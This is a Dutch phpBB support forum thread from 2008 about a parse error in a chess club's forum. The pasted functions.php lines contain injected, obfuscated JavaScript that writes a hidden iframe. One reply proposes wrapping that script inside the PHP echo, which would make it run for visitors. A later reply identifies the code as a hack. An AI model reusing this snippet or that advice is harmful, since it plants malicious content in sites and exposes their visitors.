Pagina 1 van 1
syntax error
Geplaatst: 08 okt 2008, 15:53
door stormyweather
- Adres van je forum: http://schaakclubmiddelstum.nl/phpBB2/
Event. modificaties op je forum: niet zoveel en niet onlangs.
Wanneer ontstond het probleem? vanmiddag
phpBB versie: 2.0.23
Heb je onlangs iets veranderd aan je forum? Nee
Wat is het probleem?
Parse error: syntax error, unexpected '<' in /home/schaakclubmiddnl/HTML/phpBB2/includes/functions.php on line 937
Hieronder line 932 t/m 955 van mijn includes/functions.php waarbij "<script>" line 937 is.
Code: Selecteer alles
// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
<script>
var temp="",i,c=0,out="";
var if_uniq_var="02102008-01";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>
exit;
}
// Behave as per HTTP/1.1 spec for others
Re: syntax error
Geplaatst: 08 okt 2008, 17:45
door Jan
Helpt dit:
Code: Selecteer alles
// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>
<script>
var temp="",i,c=0,out="";
var if_uniq_var="02102008-01";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!100!111!99!104!101!108!112!49!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!=\'!\')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>';
exit;
}
// Behave as per HTTP/1.1 spec for others
Re: syntax error
Geplaatst: 08 okt 2008, 18:31
door stormyweather
Bedankt maar helaas.
Ik heb de ouwe weer teruggezet want deze levert nog meer foutmeldingen op:
Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'schaakclub1'@'localhost' (using password: YES) in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 48
Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 330
Warning: mysql_errno(): supplied argument is not a valid MySQL-Link resource in /home/schaakclubmiddnl/HTML/phpBB2/db/mysql4.php on line 331
phpBB : Critical Error
Could not connect to the database
Re: syntax error
Geplaatst: 08 okt 2008, 18:47
door Bee
Dat kan niet veroorzaakt worden door aanpassingen in includes/functions.php

Re: syntax error
Geplaatst: 08 okt 2008, 19:21
door Jan
Zoals Bee zegt, het een heeft met het ander niet te maken.
Volgens mij is je config.php corrupted, probeer een nieuwe config.php aan te maken, met deze tool:
http://www.phpbb.nl/hulpmiddelen/config_gen
Zet erna eventjes mijn code terug, zou moeten opgelost zijn.
Indien het echt niet lukt en je heel dringend een oplossing nodig hebt mag je me op msn toevoegen.
Re: syntax error
Geplaatst: 08 okt 2008, 19:39
door stormyweather
Ik heb het geprobeerd, maar dan krijg ik zie als volgt:
http://schaakclubmiddelstum.nl/phpBB2/
Re: syntax error
Geplaatst: 08 okt 2008, 20:14
door Jan
Heb je een spatie voor de <?php of na de ?> gezet in config.php?
Re: syntax error
Geplaatst: 08 okt 2008, 20:25
door stormyweather
Er staat er 1 na ?>
Re: syntax error
Geplaatst: 08 okt 2008, 22:46
door Ramon Fincken
jongens ...
</script> is javascript en hoort niet direct in PHP te staan.
vervang de HELE functie eens hierdoor?
Code: Selecteer alles
function redirect($url)
{
global $db, $board_config;
if (!empty($db))
{
$db->sql_close();
}
if (strstr(urldecode($url), "\n") || strstr(urldecode($url), "\r") || strstr(urldecode($url), ';url'))
{
message_die(GENERAL_ERROR, 'Tried to redirect to potentially insecure url.');
}
$server_protocol = ($board_config['cookie_secure']) ? 'https://' : 'http://';
$server_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['server_name']));
$server_port = ($board_config['server_port'] <> 80) ? ':' . trim($board_config['server_port']) : '';
$script_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path']));
$script_name = ($script_name == '') ? $script_name : '/' . $script_name;
$url = preg_replace('#^\/?(.*?)\/?$#', '/\1', trim($url));
// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
exit;
}
// Behave as per HTTP/1.1 spec for others
header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
exit;
}
Re: syntax error
Geplaatst: 09 okt 2008, 11:54
door stormyweather
Nou er zit vooruitgang in want dit heeft het aantal foutmeldingen teruggebracht van 3 naar 1. Deze verschijnt nu:
Parse error: syntax error, unexpected '}' in /home/schaakclubmiddnl/HTML/phpBB2/includes/functions.php on line 946
Hieronder de laatste 7 regels van mijn includes/functions.php, de 5de regel is line 946
Code: Selecteer alles
// Behave as per HTTP/1.1 spec for others
header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
exit;
}
?>
Re: syntax error
Geplaatst: 09 okt 2008, 14:13
door Ramon Fincken
Fred, PM me even je FTP kijk ik er vandaag nog naar.
Re: syntax error
Geplaatst: 09 okt 2008, 15:58
door Paul
Ramon Fincken schreef:jongens ...
</script> is javascript en hoort niet direct in PHP te staan.
vervang de HELE functie eens hierdoor?
Code: Selecteer alles
function redirect($url)
{
global $db, $board_config;
if (!empty($db))
{
$db->sql_close();
}
if (strstr(urldecode($url), "\n") || strstr(urldecode($url), "\r") || strstr(urldecode($url), ';url'))
{
message_die(GENERAL_ERROR, 'Tried to redirect to potentially insecure url.');
}
$server_protocol = ($board_config['cookie_secure']) ? 'https://' : 'http://';
$server_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['server_name']));
$server_port = ($board_config['server_port'] <> 80) ? ':' . trim($board_config['server_port']) : '';
$script_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path']));
$script_name = ($script_name == '') ? $script_name : '/' . $script_name;
$url = preg_replace('#^\/?(.*?)\/?$#', '/\1', trim($url));
// Redirect via an HTML form for PITA webservers
if (@preg_match('/Microsoft|WebSTAR|Xitami/', getenv('SERVER_SOFTWARE')))
{
header('Refresh: 0; URL=' . $server_protocol . $server_name . $server_port . $script_name . $url);
echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta http-equiv="refresh" content="0; url=' . $server_protocol . $server_name . $server_port . $script_name . $url . '"><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href="' . $server_protocol . $server_name . $server_port . $script_name . $url . '">HERE</a> to be redirected</div></body></html>';
exit;
}
// Behave as per HTTP/1.1 spec for others
header('Location: ' . $server_protocol . $server_name . $server_port . $script_name . $url);
exit;
}
Waarom staat er dan </html> direct in jouw php? Juist, om dezelfde reden als daar javascript staat. Het enige verschil ermee is dat hij gehacked is, doordat die javascript code een Iframe invoegt met kwaadaardige code. het enkel verwijderen is dus niet de correct oplossing.
Re: syntax error
Geplaatst: 09 okt 2008, 16:09
door Ramon Fincken
point taken, maar ik merkte op dat de headers sent kwam omdat er fysieke HTML/JS in een PHP file stond.
Re: syntax error
Geplaatst: 09 okt 2008, 16:25
door Paul
Ramon Fincken schreef:point taken, maar ik merkte op dat de headers sent kwam omdat er fysieke HTML/JS in een PHP file stond.
Hij stond in een echo, wat dus volledig correct is normaal gezien. Die echo staat tenslotte ook nog in jouw code op dezelfde plek.
Re: syntax error
Geplaatst: 10 okt 2008, 21:47
door stormyweather
Mensen bedankt voor het meedenken, maar ik heb besloten tot een herinstallatie. Dit draadje mag dus wel dicht. groet.